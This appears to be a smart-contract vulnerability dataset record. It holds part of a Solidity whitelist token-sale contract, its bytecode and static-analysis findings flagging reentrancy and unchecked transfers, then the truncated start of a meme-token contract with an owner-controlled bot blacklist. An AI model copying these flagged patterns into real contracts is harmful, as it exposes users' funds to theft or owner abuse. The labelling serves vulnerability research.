// Whitelist
mapping(address => WhitelistDetail) whitelist;
struct WhitelistDetail {
// Check if address is whitelisted
bool isWhitelisted;
// Check if address is staking
bool isStaking;
// Check if address has deposited
bool hasDeposited;
}
// Total count of whitelisted address
uint256 public whitelistCount = 0;
// Addresses that deposited
address[] depositAddresses;
uint256 dIndex = 0;
// Addresses for second batch release
address[] secondBatchAddresses;
uint256 sIndex = 0;
// Total count of deposits
uint256 public depositCount = 0;
// Deposit ticket size
uint256 public ticketSize = 2.85 ether;
// Duration of stake
uint256 constant stakeDuration = 30 days;
// Time that staking starts
uint256 public stakeStart;
constructor() public {
status = ContractStatus.INIT;
}
function updateReceivingAddress(address payable _address) public onlyOwner {
receivingAddress = _address;
}
/**
* @dev ContractStatus.INIT functions
*/
function whitelistAddresses(address[] memory _addresses, bool[] memory _isStaking) public onlyOwner {
require(status == ContractStatus.INIT);
for (uint256 i = 0; i < _addresses.length; i++) {
if (!whitelist[_addresses[i]].isWhitelisted) {
whitelistCount = whitelistCount.add(1);
}
whitelist[_addresses[i]].isWhitelisted = true;
whitelist[_addresses[i]].isStaking = _isStaking[i];
emit Whitelist(_addresses[i], _isStaking[i]);
}
}
function updateTicketSize(uint256 _amount) public onlyOwner {
require(status == ContractStatus.INIT);
ticketSize = _amount;
}
function acceptDeposit() public onlyOwner {
require(status == ContractStatus.INIT);
status = ContractStatus.ACCEPT_DEPOSIT;
}
/**
* @dev ContractStatus.ACCEPT_DEPOSIT functions
*/
receive() external payable {
deposit();
}
function deposit() internal {
require(status == ContractStatus.ACCEPT_DEPOSIT);
require(whitelist[msg.sender].isWhitelisted && !whitelist[msg.sender].hasDeposited);
require(msg.value >= ticketSize);
msg.sender.transfer(msg.value.sub(ticketSize));
whitelist[msg.sender].hasDeposited = true;
depositAddresses.push(msg.sender);
depositCount = depositCount.add(1);
emit Deposit(block.timestamp, msg.sender);
}
function refund(address payable _address) public onlyOwner {
require(whitelist[_address].hasDeposited);
delete whitelist[_address];
_address.transfer(ticketSize);
depositCount = depositCount.sub(1);
emit Refund(block.timestamp, _address);
}
function refundMultiple(address payable[] memory _addresses) public onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
if (whitelist[_addresses[i]].hasDeposited) {
delete whitelist[_addresses[i]];
_addresses[i].transfer(ticketSize);
depositCount = depositCount.sub(1);
emit Refund(block.timestamp, _addresses[i]);
}
}
}
function releaseFirstBatchTokens(uint256 _count) public onlyOwner {
require(status == ContractStatus.ACCEPT_DEPOSIT);
for (uint256 i = 0; i < _count; i++) {
if (whitelist[depositAddresses[dIndex]].isWhitelisted) {
if (whitelist[depositAddresses[dIndex]].isStaking) {
// Is staking
tokenContract.transfer(depositAddresses[dIndex], stakeReleaseFirstBatchAmount);
secondBatchAddresses.push(depositAddresses[dIndex]);
emit TokenReleased(block.timestamp, depositAddresses[dIndex], stakeReleaseFirstBatchAmount);
} else {
// Not staking
tokenContract.transfer(depositAddresses[dIndex], noStakeReleaseAmount);
emit TokenReleased(block.timestamp, depositAddresses[dIndex], noStakeReleaseAmount);
}
}
dIndex = dIndex.add(1);
if (dIndex == depositAddresses.length) {
receivingAddress.transfer(address(this).balance);
stakeStart = block.timestamp;
status = ContractStatus.FIRST_BATCH_TOKEN_RELEASED;
break;
}
}
}
/**
* @dev ContractStatus.FIRST_BATCH_TOKEN_RELEASED functions
*/
function releaseSecondBatchTokens(uint256 _count) public onlyOwner {
require(status == ContractStatus.FIRST_BATCH_TOKEN_RELEASED);
require(block.timestamp > (stakeStart + stakeDuration));
for (uint256 i = 0; i < _count; i++) {
tokenContract.transfer(secondBatchAddresses[sIndex], stakeReleaseSecondBatchAmount);
emit TokenReleased(block.timestamp, secondBatchAddresses[sIndex], stakeReleaseSecondBatchAmount);
sIndex = sIndex.add(1);
if (sIndex == secondBatchAddresses.length) {
status = ContractStatus.SECOND_BATCH_TOKEN_RELEASED;
break;
}
}
}
/**
* @dev ContractStatus.SECOND_BATCH_TOKEN_RELEASED functions
*/
function withdrawTokens() public onlyOwner {
require(status == ContractStatus.SECOND_BATCH_TOKEN_RELEASED);
tokenContract.transfer(receivingAddress, tokenContract.balanceOf(address(this)));
}
}
|
0x6080604052600436106101235760003560e01c8063a3d272ce116100a0578063d4a3803f11610064578063d4a3803f146105ec578063ded984e914610603578063f2624b5d1461062e578063f2fde38b14610659578063fa89401a146106aa57610132565b8063a3d272ce14610445578063ad4bbd2814610496578063ae4844eb146104c1578063b0068a14146104ec578063ceeea84a146105b157610132565b806367212f3f116100e757806367212f3f1461022c578063715018a6146103855780637d6190091461039c5780638d8f2adb146103d75780638da5cb5b146103ee57610132565b806312c3954314610137578063200d2ed2146101625780632dfdf0b51461019b5780634dff5b46146101c6578063553f1b5b1461020157610132565b36610132576101306106fb565b005b600080fd5b34801561014357600080fd5b5061014c610973565b6040518082815260200191505060405180910390f35b34801561016e57600080fd5b50610177610979565b6040518082600381111561018757fe5b60ff16815260200191505060405180910390f35b3480156101a757600080fd5b506101b061098c565b6040518082815260200191505060405180910390f35b3480156101d257600080fd5b506101ff600480360360208110156101e957600080fd5b8101908080359060200190929190505050610992565b005b34801561020d57600080fd5b50610216611091565b6040518082815260200191505060405180910390f35b34801561023857600080fd5b506103836004803603604081101561024f57600080fd5b810190808035906020019064010000000081111561026c57600080fd5b82018360208201111561027e57600080fd5b803590602001918460208302840111640100000000831117156102a057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561030057600080fd5b82018360208201111561031257600080fd5b8035906020019184602083028401116401000000008311171561033457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611097565b005b34801561039157600080fd5b5061039a61139d565b005b3480156103a857600080fd5b506103d5600480360360208110156103bf57600080fd5b8101908080359060200190929190505050611525565b005b3480156103e357600080fd5b506103ec61162a565b005b3480156103fa57600080fd5b50610403611906565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045157600080fd5b506104946004803603602081101561046857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061192f565b005b3480156104a257600080fd5b506104ab611a3c565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6611a42565b6040518082815260200191505060405180910390f35b3480156104f857600080fd5b506105af6004803603602081101561050f57600080fd5b810190808035906020019064010000000081111561052c57600080fd5b82018360208201111561053e57600080fd5b8035906020019184602083028401116401000000008311171561056057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611a48565b005b3480156105bd57600080fd5b506105ea600480360360208110156105d457600080fd5b8101908080359060200190929190505050611d04565b005b3480156105f857600080fd5b50610601612036565b005b34801561060f57600080fd5b50610618612157565b6040518082815260200191505060405180910390f35b34801561063a57600080fd5b5061064361215d565b6040518082815260200191505060405180910390f35b34801561066557600080fd5b506106a86004803603602081101561067c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612163565b005b3480156106b657600080fd5b506106f9600480360360208110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612370565b005b6001600381111561070857fe5b600560149054906101000a900460ff16600381111561072357fe5b1461072d57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1680156107d65750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160029054906101000a900460ff16155b6107df57600080fd5b600d543410156107ee57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc61081d600d54346125c690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610848573d6000803e3d6000fd5b506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160026101000a81548160ff0219169083151502179055506008339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061091d6001600c5461261090919063ffffffff16565b600c819055503373ffffffffffffffffffffffffffffffffffffffff167f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a53426040518082815260200191505060405180910390a2565b60045481565b600560149054906101000a900460ff1681565b600c5481565b61099a612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60016003811115610a6857fe5b600560149054906101000a900460ff166003811115610a8357fe5b14610a8d57600080fd5b60008090505b8181101561108d5760066000600860095481548110610aae57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615610fbc5760066000600860095481548110610b3c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff1615610e0957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860095481548110610c0457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c9b57600080fd5b505af1158015610caf573d6000803e3d6000fd5b505050506040513d6020811015610cc557600080fd5b810190808051906020019092919050505050600a600860095481548110610ce857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860095481548110610d8257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6efaf1553a66092e328feeef94f921fa986cd2a289aa85891aedce66a935ac6642600354604051808381526020018281526020019250505060405180910390a2610fbb565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860095481548110610e5657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610eed57600080fd5b505af1158015610f01573d6000803e3d6000fd5b505050506040513d6020811015610f1757600080fd5b810190808051906020019092919050505050600860095481548110610f3857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6efaf1553a66092e328feeef94f921fa986cd2a289aa85891aedce66a935ac6642600254604051808381526020018281526020019250505060405180910390a25b5b610fd2600160095461261090919063ffffffff16565b600981905550600880549050600954141561108057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561104f573d6000803e3d6000fd5b5042600e819055506002600560146101000a81548160ff0219169083600381111561107657fe5b021790555061108d565b8080600101915050610a93565b5050565b60035481565b61109f612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611160576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600381111561116d57fe5b600560149054906101000a900460ff16600381111561118857fe5b1461119257600080fd5b60008090505b825181101561139857600660008483815181106111b157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff166112255761121e600160075461261090919063ffffffff16565b6007819055505b60016006600085848151811061123757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690831515021790555081818151811061129f57fe5b6020026020010151600660008584815181106112b757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff02191690831515021790555082818151811061131f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d83838151811061136a57fe5b6020026020010151604051808215151515815260200191505060405180910390a28080600101915050611198565b505050565b6113a5612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611466576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61152d612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600060038111156115fb57fe5b600560149054906101000a900460ff16600381111561161657fe5b1461162057600080fd5b80600d8190555050565b611632612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6003808111156116ff57fe5b600560149054906101000a900460ff16600381111561171a57fe5b1461172457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561182457600080fd5b505afa158015611838573d6000803e3d6000fd5b505050506040513d602081101561184e57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b505050506040513d60208110156118f257600080fd5b810190808051906020019092919050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611937612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025481565b600e5481565b611a50612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b8151811015611d005760066000838381518110611b3057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160029054906101000a900460ff1615611cf35760066000838381518110611b9857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549060ff02191690556000820160016101000a81549060ff02191690556000820160026101000a81549060ff02191690555050818181518110611c2557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166108fc600d549081150290604051600060405180830381858888f19350505050158015611c74573d6000803e3d6000fd5b50611c8b6001600c546125c690919063ffffffff16565b600c81905550818181518110611c9d57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f510b82fea70ff89a8cc73cd7f29db2d7b480134c160cb52a258797b42d1989ad426040518082815260200191505060405180910390a25b8080600101915050611b17565b5050565b611d0c612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dcd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60026003811115611dda57fe5b600560149054906101000a900460ff166003811115611df557fe5b14611dff57600080fd5b62278d00600e54014211611e1257600080fd5b60008090505b8181101561203257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600a600b5481548110611e6d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166004546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f0457600080fd5b505af1158015611f18573d6000803e3d6000fd5b505050506040513d6020811015611f2e57600080fd5b810190808051906020019092919050505050600a600b5481548110611f4f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6efaf1553a66092e328feeef94f921fa986cd2a289aa85891aedce66a935ac6642600454604051808381526020018281526020019250505060405180910390a2611fe76001600b5461261090919063ffffffff16565b600b81905550600a80549050600b541415612025576003600560146101000a81548160ff0219169083600381111561201b57fe5b0217905550612032565b8080600101915050611e18565b5050565b61203e612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600381111561210c57fe5b600560149054906101000a900460ff16600381111561212757fe5b1461213157600080fd5b6001600560146101000a81548160ff0219169083600381111561215057fe5b0217905550565b600d5481565b60075481565b61216b612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461222c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156122b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806127616026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612378612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612439576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160029054906101000a900460ff1661249257600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549060ff02191690556000820160016101000a81549060ff02191690556000820160026101000a81549060ff021916905550508073ffffffffffffffffffffffffffffffffffffffff166108fc600d549081150290604051600060405180830381858888f19350505050158015612558573d6000803e3d6000fd5b5061256f6001600c546125c690919063ffffffff16565b600c819055508073ffffffffffffffffffffffffffffffffffffffff167f510b82fea70ff89a8cc73cd7f29db2d7b480134c160cb52a258797b42d1989ad426040518082815260200191505060405180910390a250565b600061260883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126a0565b905092915050565b60008082840190508381101561268e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600083831115829061274d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156127125780820151818401526020810190506126f7565b50505050905090810190601f16801561273f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220a977780f7b4d29042d3507e632d20e0a6a475eeaaed0d681ea3667b09b2b0ef964736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,959 |
0x818cB194312eec9d412000b696Eec6a8ad099E21
|
/**
*Submitted for verification at Etherscan.io on 2021-11-22
*/
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Oshukaido is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
string private constant _name = "Oshu-kaido Inu";
string private constant _symbol = "Oshu-kaido Inu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
